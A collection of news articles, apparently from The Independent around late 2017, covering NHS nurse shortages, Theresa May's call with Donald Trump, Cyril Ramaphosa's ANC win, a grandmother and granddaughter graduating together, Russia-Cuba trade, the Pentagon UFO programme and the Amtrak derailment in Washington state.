PA UK news in pictures 2 October 2022 Erling Haaland celebrates after scoring Manchester City's second goal against Manchester United at Etihad Stadium. Haaland went on to score a hattrick, his third of the season in the Premier League. City beat United 6-3. Manchester City FC/Getty UK news in pictures 1 October 2022 Protesters hold up flags and placards at a protest in London. A variety of protest groups including Enough is Enough, Don't Pay and Just Stop Oil all demonstrated on the day AFP/Getty UK news in pictures 30 September 2022 British Prime Minister Liz Truss, who has not been seen in days, leaves the back of Downing Street after a meeting with Office For Budget Responsibility following the release of her governments mini-budget Getty UK news in pictures 29 September 2022 The Virginia creeper foliage on the Tu Hwnt i'r Bont (Beyond the Bridge) Llanwrst, Conwy North Wales, has changed colour from green to red in at the start of Autumn. The building was built in 1480 as a residential dwelling but has been a tearoom for over 50 years PA UK news in pictures 28 September 2022 Criminal barristers from the Criminal Bar Association (CBA), demonstrates outside the Royal Courts of Justice in London, as part of their ongoing pay row with the Government PA

Janet Davies, head of the Royal College of Nursing, said the NHS was haemorrhaging experienced nurses despite soaring demand, and called on the Government to enshrine safe staffing in law.

She said: Despite ministers rhetoric on the importance of safety, it will enter a perilous January without enough staff to give safe care.

Nurses are spread too thinly and starting to blow the whistle on falling standards. Hospital wards and care homes alike increasingly rely on unregistered healthcare assistants, especially at night.

The Government must no longer allow nursing on the cheap  patients, particularly vulnerable and older individuals, can pay the highest price.

Chancellor Philip Hammond announced a 355m winter boost for the health service in last months Budget, but the offer falls far short of NHS England boss Simon Stevenss demand for 350m a week promised by the Leave campaign.

In a highly unusual intervention, Mr Stevens demanded the NHS receive the sum promised by Brexiteers during the referendum campaign  a pledge that has since been widely discredited.

A Department of Health spokesperson said: The truth is that latest NHS Digital figures show there are over 32,300 more professionally qualified clinical staff working in the NHS since 2010 and we are increasing training places for doctors and nurses by 25 per cent.
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Official reports of Theresa Mays first call with Donald Trump since the President promoted propaganda videos from a British far-right extremist group indicate she failed to raise the issue.

Their discussion, set out in a Downing Street read-out of the call, makes no mention of the incident which led to a tense public clash between the two leaders earlier this month.

Its absence led Labour Leader Jeremy Corbyn to accuse Ms May on Tuesday of failing in her responsibility to stand up against hate.

The Prime Minister did discuss Mr Trumps decision to recognise Jerusalem as the Israeli capital, which she declined to follow.

It is the first time the pair have spoken since Ms May said the President was wrong to have promoted social media messages from Britain First, whose leaders have since had their Twitter accounts suspended.

At the time, Ms May was not clear whether she would raise the matter with the President next time she spoke to him on the phone.

But her words at a press conference still prompted an angry response from Mr Trump, who tweeted directly to Ms May: Dont focus on me, focus on the destructive Radical Islamic Terrorism that is taking place within the United Kingdom. We are doing just fine!

Protests erupt after Trump recognises Jerusalem as Israel's capital Show all 22 1 /22 Protests erupt after Trump recognises Jerusalem as Israel's capital Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of Difa-e-Pakistan Council a coalition of right wing Islamic parties, burn an effigy of US President Donald Trump, during a protest in Quetta, Pakistan EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli police scuffle with a Palestinian protester outside Damascus Gate in Jerusalem's Old City Getty Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn pictures of Donald Trump and Benjamin Netanyahu following Trump's decision to recognise Jerusalem as the capital of Israel, in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli forces disperse Palestinian protesters outside Damascus Gate in Jerusalem's Old City on 7 December 2017 AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of the Difa-e-Pakistan Council (DPC), an Islamic organization, chant slogans as they burn Israeli and US flags during a protest against Donald Trump in Peshawar REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinians paint an 'X' over the face of a picture of US president Donald J. Trump which was painted on the Israeli separation wall in Bethlehem EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protestors burn the Israeli flag and a poster of US President Donald Trump in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of a Pakistani religious party rally against Donald Trump in Lahore AP Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn the US and Israeli flags in Gaza City AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital A poster depicting U.S. President Donald Trump is burnt during a protest against Trump's decision to recognize Jerusalem as the capital of Israel, in the West Bank city of Ramallah REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Israeli forces detain a Palestinian protester during clashes that followed protests against US President Donald Trump recognising Jerusalem as the capital of Israel, in Hebron AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters burn an effigy of U.S. President Donald Trump AP Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protesters shout slogans against Donald Trump EPA Protests erupt after Trump recognises Jerusalem as Israel's capital A Palestinian protester wears a Guy Fawkes mask used by the anonymous movement during clashes with Israeli troops in Hebron AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian demonstrators clash with Isralei troops during protests AFP/Getty Images Protests erupt after Trump recognises Jerusalem as Israel's capital Supporters of a Pakistani religious party chant anti-American slogans during a rally in Islamabad, Pakistan AP Protests erupt after Trump recognises Jerusalem as Israel's capital Pakistanis burn a representation of the U.S. flag during a protest rally in Hyderabad AP Protests erupt after Trump recognises Jerusalem as Israel's capital Young Palestinian women look on as smoke billows from burning tyres as fellow Palestinian demonstrators clash with Isralei troops AFP/Getty Protests erupt after Trump recognises Jerusalem as Israel's capital Protesters burn a picture of U.S. President Donald Trump at a protest in Islamabad REUTERS Protests erupt after Trump recognises Jerusalem as Israel's capital Protestors shouts slogans against US President Donald Trump as they hold Palestinian and Turkish flags during a protest near the US Embassy in Ankara, Turkey EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Palestinian protestors put their feet over a picture of US president Donald Trump during a protest in the West Bank City of Nablus EPA Protests erupt after Trump recognises Jerusalem as Israel's capital Pakistani protesters burn tires at an anti-Donald Trump rally in Multan AP

Days later the pair were at odds again when the US leader overturned decades of American foreign policy to recognise Jerusalem as the Israeli capital.

Ms May said she would be in contact with the President over his inflammatory decision on Jerusalem, which sparked protests in the Middle East.

Now, almost two weeks later, the read-out of the call on Tuesday afternoon reported: They discussed the different positions we took on the recognition of Jerusalem as the Israeli capital and agreed on the importance of the US bringing forward new proposals for peace and the international community supporting these efforts.

It also set out that the Prime Minister raised Yemen and highlighted the UKs ongoing deep concerns at the humanitarian situation.

The read-out said they agreed on the vital importance of reopening humanitarian and commercial access to prevent famine and alleviate the suffering of innocent Yemenis.

The country has been subjected to a brutal bombing campaign headed by the Saudi Arabian military, which has been armed by British defence firms.

 Theresa May refuses to tell Trump to stop tweeting

Ms May also updated the President on the recent progress in Brexit negotiations and wished each other a very Merry Christmas, before promising to keep in close touch.

There was also no apparent mention of either a working visit expected in February or Ms Mays outstanding invitation to Mr Trump for a state visit.

A spokesman for Mr Corbyn said: It has taken Theresa May two weeks to contact Trump over his dangerous decision to recognise Jerusalem as Israels capital, yet she seems to have failed to use the opportunity to call him out for retweeting abhorrent Islamophobic material.

As Prime Minister, May has a responsibility to stand up against hate and for all communities in our country.

After Mr Trump retweeted anti-Muslim propaganda videos posted by Britain First to his 47 million followers, the group claimed they had enjoyed a surge in support.
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Cyril Ramaphosa is likely to become South Africas next President after he was elected leader of the African National Congress (ANC).

The deputy President won the race against his rival, Nkosazana Dlamini-Zuma, a former cabinet minister and ex-wife of President Jacob Zuma, by a margin of less than 200 votes.

In the run-up to the contest, Mr Ramaphosa styled himself as a reformer who will steer South Africa away from the corruption scandals that have hurt the economy and spooked investors.

Who is Cyril Ramaphosa?

 Cyril Ramaphosa elected as ANC president

The 65-year-old moved from being a prominent anti-apartheid activist and one of the chief negotiations to help bring an end to white minority rule, to becoming one of the wealthiest businessmen in South Africa.

He fought the injustices of white rule from within South Africa, most prominently by defending the rights of black miners as leader of the National Union of Mineworkers (NUM).

A member of the relatively small Venda ethnic group, Mr Ramaphosa was able to overcome divisions that sometimes constrained members of the larger Zulu and Xhosa groups.

He also played an important role in drafting South Africas post-apartheid constitution.

How was he regarded by Nelson Mandela?

Cyril Ramaphosa holds the newly signed South African constitution in 1996, with Nelson Mandela (Reuters) (REUTERS)

Whenever Nelson Mandela needed a breakthrough in talks to end apartheid, he turned to the then-trade union leader with a reputation as a tenacious negotiator.

Using skills honed in pay disputes with mining bosses, Mr Ramaphosa steered those talks to a successful conclusion, allowing Mr Mandela to sweep to power in 1994 as head of the victorious ANC after South Africas first democratic vote.

Mr Mandela wanted Mr Ramaphosa to be his heir, but was pressured into picking Thabo Mbeki by a group of ANC leaders who had fought apartheid from exile.

It has taken more than two decades for Mr Ramaphosa to get another chance to run the country.

What does his election mean for the future of South Africa?

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. 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The choice of Mr Rhamaphosa over his main rival, Ms Dlamini-Zuma, is likely to chart a reformist course for South Africa.

President Zuma has faced allegations of corruption since he became head of state in 2009. He has also faced allegations that his friends, the wealthy Gupta businessmen, wielded undue influence over his government. Both Mr Zuma and the Guptas have denied the allegations.

Mr Ramaphosa has promised to fight rampant corruption and revitalise the countrys economy, in a message hailed by foreign investors.

Chris Vandome, South Africa analyst at Chatham House, told The Independent Mr Ramaphosas efforts will be hampered by the split within the top six of the party between those who supported him, and those that supported his opponent.

Mr Vandome said allegations against those at the top of the party who are close to Mr Ramaphosa will weaken the credibility of anti-corruption rhetoric.

He added: The election of Ramaphosa to the highest position within South Africas ruling party has been positively received by international markets.

Increased confidence will unlock investment into the country, and we may see something of a self-fulfilling prophecy on economic growth  international investors see him as positive so they put money into South Africa, which causes growth to increase, and it is credited to him.

For real change in South Africa, the attention must be on reducing poverty and inequality.

The broad economic plan that Ramaphosa put forward at a regional party colloquium in November may deliver socioeconomic change in the country, but he is only President of the party, not of the country, and there are still many political battles ahead if he is to take the top spot in government and implement the change he has proposed.

What do South Africans think of him?

Cyril Ramaphosa won 51.8 per cent of votes cast (Getty)

To his supporters, Mr Ramaphosas business success makes him well-suited to the task of turning around an economy grappling with 28 per cent unemployment and credit rating downgrades.

In the Johannesburg township of Soweto last month, Mr Ramaphosa called for a new deal between business and government to spur economic growth.

However, Mr Ramaphosa has his detractors too. He was a non-executive director at Lonmin, when negotiations to halt a violent wildcat strike at its Marikana platinum mine in 2012 ended in police shooting 34 strikers dead.

An inquiry subsequently absolved Mr Ramaphosa of guilt, but some families of the victims still blame him for urging the authorities to intervene.

My conscience is that I participated in trying to stop further deaths from happening, he said about the deaths.

Others are unconvinced that Mr Ramaphosa will be as tough on corruption as his campaign rhetoric suggests.

Additional reporting by agencies
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A grandmother and her granddaughter both graduated from Chicago State University - together.

Belinda Berry, 62, and Karea Berry, 25, walked across the stage at a commencement ceremony to accept their bachelors degrees in business and criminal justice, respectively.

Chicago State University interim President Dr Rachel Lindsey said: "It's a wonderful story. And it speaks to what Chicago State does best. And that [it responds] to students who are just leaving high school as well as students who want to come back and earn a degree.

The pair has been a tight-knit family since Ms Berry began raising her granddaughter in Chicago since the young graduate was just two years old.

"I feel very proud of my granddaughter because my granddaughter excelled, the elder Ms Berry told a local news station.

Her granddaughter said they "didn't know we were going to finish together because I was fulltime and she was part time. And it actually just worked out that way. I just say it was God's will.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

The younger Ms Berry has a four-year-old daughter and worked as a security while attending classes. Her grandmother worked in hospital administration for several years but has plans to open her own business.

"I am very honoured to be a role model. And I hope I am an inspiration to the young as well as the old, because it's never too late to pursue an education, the older Ms Berry noted.

The pair not only graduated, but both did so magna cum laude.

They called it friendly competition. The older Ms Berry had the slight advantage with a 3.8 GPA to her granddaughters 3.4.

Both women plan on pursuing graduate degrees next - a sign of what the 25-year-old Ms Berry said she was taught as a child: "That education is the key to success. That's her motto of life. She just always said you have to persevere through all of your challenges and you will receive what you need to receive. And that's what's happening to us today.
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Cuba has significantly increased its trade with Russia, as Donald Trumps government tightened US restrictions on the neighbouring communist state.

A number of Russian state companies are in the process of negotiating deals with the Caribbean island as it seeks to fill the void left by other trading allies.

Cubas main trading partner is still China, but it is once again strengthening economic links with Russia, which it formed an alliance with during the Cold War.

The deepening links with Russia come as the USA under Donald Trump reverses its policy of increasing engagement with Cuba.

Foreign policy experts say Moscow is seizing on that rollback as a way to undermine American influence in its own backyard.

Russia sees it as a moment to further its own relationship with Cuba, said Jason Marczak, Director at the Adrienne Arsht Latin America Center told Reuters.

The more the Russian footprint increases in Cuba, the more that will reinforce hardened anti-US attitudes and shut out US businesses from eventually doing greater business in Cuba.

Russia is eager to increase its influence in Latin America and its exports to Cuba have increased by 81 per cent in the last year.

A total of 300 new Russian-made Lada cars will be delivered to Cuba next month, replacing some of the decades-old Soviet vehicles that dominate Cubas streets.

Unable to import or afford newer vehicles, many Cubans have become experts at patching up cars that should be long past their used-by date.

Igor Sechin, the head of Russian state oil company Rosneft, travelled to Havana last weekend to meet with Cuban President Raul Castro. They are believed to have discussed a significant new energy deal that would benefit Cuba, which currently relies heavily on Venezuela for its fuel needs.

Venezuelan shipments to Cuba have dropped by more than 40 per cent since 2014 after the South American countrys economy collapsed. Power shortages are now common in Cuba and its government is exploring new possibilities for securing cheap energy.

Rosneft started shipping oil to Cuba in May for the first time since the end of the Cold War.

Pictures of everyday life in Cuba Show all 20 1 /20 Pictures of everyday life in Cuba Pictures of everyday life in Cuba A man rides his modified bicycle past a vintage American car in Havana Getty Images Pictures of everyday life in Cuba A taxi sits parked by Ancon Beach waiting for returning bathers in Trinidad Getty Images Pictures of everyday life in Cuba Afrocuban carnival group "Los componedores de batea" performing in the streets of La Habana Vieja Rex Pictures of everyday life in Cuba Pastel colours for an ice-cream place and a vintage American car in Cienfuegos after sunset Rex Pictures of everyday life in Cuba A man on the phone in a bookshop in Old Havana (Habana Vieja) selling books and displaying propaganda poster of the Cuban Revolution Rex Pictures of everyday life in Cuba Street Musicians in Santiago De Cuba Rex Pictures of everyday life in Cuba A man works to repair his classic American car after it broke down along the Prado, a wide avenue that runs from Parque Central to the Malecon seafront highway, in Havana Getty Images Pictures of everyday life in Cuba Members of the 'Ladies in White,' a group founded by the partners and relatives of jailed dissidents that regularly protests against the Cuban government, demonstrate on the streets of Havana Getty Images Pictures of everyday life in Cuba Street vegetables vendor in Havana Getty Images Pictures of everyday life in Cuba The sun setting through the palm trees and creates long shadows on the pool deck at this resort in Cuba Varadero Rex Pictures of everyday life in Cuba General view of a street in Havana Getty Images Pictures of everyday life in Cuba A girls plays on a street in Havana Getty Images Pictures of everyday life in Cuba Girls walk past graffiti art along the Paseo de Marti, the wide boulevard that runs through the heart of the historic Old Havana neighborhood in Havana Getty Images Pictures of everyday life in Cuba A woman smokes her Havana cigar Getty Images Pictures of everyday life in Cuba A man harvests tobacco leaves for drying at a tobacco drying house on a co-op plantation in Pinar del Rio Getty Images Pictures of everyday life in Cuba Men play chess on a street in Havana Getty Images Pictures of everyday life in Cuba Locals take part in a gay parade in Havana Getty Images Pictures of everyday life in Cuba Scene of the Memories Paraiso Azul resort in Santa Maria Key Getty Images Pictures of everyday life in Cuba Beach on the Bay of Pigs, Zapata Peninsula Pictures of everyday life in Cuba Divers swimming above coral reef in Caribbean Sea Rex

Another Russian company, Sinara, last month began delivering 75 locomotives to the Caribbean island as part of a $190 million deal.

State-owned Russian Railways, meanwhile, is currently in negotiations about a $2.2 billion deal to upgrade hundreds of miles of Cuban railways and build a new link between Havana and the beach resort of Varadero.

Many of the Russian companies working in Cuba have benefitted from funding from the Russian state, which wants to strengthen its alliances in Latin America.

Mr Trumps predecessor, Barack Obama, had eased the trade embargo that severely limits the goods that Cuba is able to import.

In contrast, the Republican has retightened restrictions, describing Cuba as a brutal, brutal regime and saying: We will not be silenced in the face of communist oppression any longer.

One Russian official told Reuters that trade between his country and Cuba could increase from $248 million last year to $400 million this year.

In recent years Russia has written off $35 billion in debt that Cuba owed from the Soviet era.

Additional reporting by agencies
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The Pentagon has reportedly recovered metal alloys from unidentified flying objects that scientists "do not recognise.

Materials, which are alleged to have amazing properties, are being stored in modified buildings in Las Vegas, the New York Times reports.

The US Department of Defence (DoD) has admitted to a secret $22m (15m) programme, which ran between 2007 and 2012, that was tasked with investigating reports of UFOs.

They have some material from these objects that is being studied, so that scientists can try to figure out what accounts for their amazing properties, Ralf Blumenthal, one of the authors of the New York Times report, told MSNBC.

Mr Blumenthal said the DoD do not know what the materials are made of.

Its some sort of compound they do not recognise, he added.

The Pentagon refused to comment when contacted by The Independent.

Researchers also studied people who claimed they had experienced physical effects from encounters with unidentified aerial phenomena, according to the New York Times.

A previously classified video released by the DoD shows Navy pilots reacting with astonishment after being sent to investigate a mysterious flying object as it hovered off the coast of San Diego.

The recently released footage shows a 2004 encounter between an apparent object, roughly the size of a commercial plane, and two Navy F/A-18 Super Hornets, from the aircraft carrier Nimitz.

Commander David Fravor and Lieutenant Commander Jim Slaight were on a routine training mission 100 miles out into the Pacific when they were asked to investigate the object.

Commander Fravor told The New York Times the object was about 40ft long, had no plumes, wings or rotors, and outpaced their F-18s. It was big enough to churn the sea 50ft below it, he said.

No one knows what they are to this day, Mr Blumenthal told MSNBC.

Research went into trying to identify their strange means of propulsion, their phenomenal aerodynamics which represent nothing on the face of this earth by any country."

Experts warn there is usually a worldly explanation for apparent UFO sightings and caution that an absence of an explanation is not proof of extraterrestrial life.

Revealed: eerie UFO sightings recorded in MoD files Show all 17 1 /17 Revealed: eerie UFO sightings recorded in MoD files Revealed: eerie UFO sightings recorded in MoD files National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files The National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files The National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files The National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files National Archives/PA Wire Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA Revealed: eerie UFO sightings recorded in MoD files PA

The Pentagon said the Advanced Aviation Threat Identification Programme (AATIP) closed five years ago when defence officials shifted funding to other priorities.

But according to its backers, AATIP remains in existence in some form.

The AATIP ended in the 2012 timeframe, Pentagon spokesperson Laura Ochoa said.

It was determined that there were other, higher priority issues that merited funding and it was in the best interest of the DoD to make a change, she added.

Asked if the department continued to investigate sightings, she said: The DoD takes seriously all threats and potential threats to our people, our assets, and our mission and takes action whenever credible information is developed.
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Investigators are preparing to quiz the engineer and other crew members from a fatal train derailment as questions mounted as to why a safety system designed to prevent such incidents was not in operation.

Bella Dinh-Zarr, a member of the National Transportation Safety Board (NTSB), confirmed the Amtrak train on a new route between between Seattle to Portland was travelling at 80mph  50mph faster than it was supposed to be  when it left the tracks.

If a train is going around a curve and its going too fast, yes, it can derail, she said.

In the hours since Amtrak train 501 derailed close to Tacoma, Washington, killing three people and sending some of its 14 cars onto vehicles on a highway beneath, questions have focussed on a safety system known as positive train control (PTC) that was not installed at the time of the accident.

The locomotive was in the process of getting a system of PTC installed but it was not yet functional, Ms Dinh-Zarr said, adding that an emergency brake was automatically activated.

Under a federal law passed in 2008, all railroads are required to have PTC, which automatically slows trains if they exceed a speed limit, by the end of 2018. Congress pushed back an initial requirement to have the technology operational nationwide by 2015.

The Washington state Department of Transportation has said that the entire Cascades route will have the system in place by the end of next year. Geoff Patrick, a spokesman for Sound Transit, the regional transit agency which owns the stretch of track where the derailment happened, told The Independent PTC was not yet in operation on the track. It was due to be active by the second quarter, which he said was ahead of schedule of several other operators.

Asked if its earlier implementation would have saved lives, he said: That is not something Id speculate about.

 Shocking aerial footage shows Amtrak devastation in Washington state

Gov Jay Inslee similarly declined to say whether the technology may have prevented the accident, deferring to the NTSB investigation. But he did mildly rebuke Donald Trump for saying in a tweet that the accident illustrated the need for legislation funding infrastructure improvements, saying the President did not follow my advice, which is lets not jump to conclusions before we make decisions.

None of us, including myself should be making conclusions about the causes of this accident at this moment, Mr Inslee told reporters.

Investigators are working to schedule interviews with crew members who have been admitted to hospital, including the train's engineer, once they have recovered sufficiently, Ms Dinh-Zarr said.

A data recorder from one of the train's locomotives and cameras, which were badly damaged in the accident, are being sent to a laboratory in Washington, DC, where NTSB staff will try to extract information and piece together an accounting of the derailment.

Investigators have determined that, at the time of the crash, the engineer was in the train's cab with a conductor who was getting experience and familiarising himself with the territory while the on-duty conductor was in the train's passenger section, Ms Dinh-Zarr told reporters.

